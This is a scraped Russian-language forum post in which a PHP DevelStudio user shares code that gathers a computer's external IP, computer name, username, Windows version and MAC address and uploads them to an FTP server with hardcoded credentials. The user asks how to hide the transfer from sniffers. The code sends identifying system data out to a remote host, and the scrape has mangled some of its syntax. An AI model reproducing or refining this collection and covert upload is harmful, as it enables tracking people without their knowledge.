Quantcast
Channel: Сообщество PHP DevelStudio - среда разработки программ
Viewing all articles
Browse latest Browse all 6336

Отправка файлов на FTP

$
0
0
ФТП данные
у меня такой код для отправки файла на сервер, как его защитить от взлома и отслеживания сниффером, кто может подсказать? Загрузка файлов нужна очень!

PHP код:

$site file_get_contents("http://2ip.ru"); 
$ip explode('<big id="d_clip_button">'$site); 
$ip explode('</big>'$ip[1]); 
file_put_contents("ip.txt"$ip[0]); 

$FileMy $ip[0].".txt"

file_put_contents($FileMy$ip[0].", ".osinfo_computername().", ".osinfo_username().", ".osinfo_winver().", ".osinfo_macaddress()); 

$ftp_server "ftp.site.com"
$ftp_user_name "username"
$ftp_user_pass "userpassword"

$conn_id ftp_connect($ftp_server); 
$login_result ftp_login($conn_id$ftp_user_name$ftp_user_pass); 

ftp_pasv($conn_idtrue); 

if (
ftp_put($conn_id$FileMy$FileMyFTP_ASCII)) { 
 } else { 

ftp_close($conn_id); 


Viewing all articles
Browse latest Browse all 6336

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>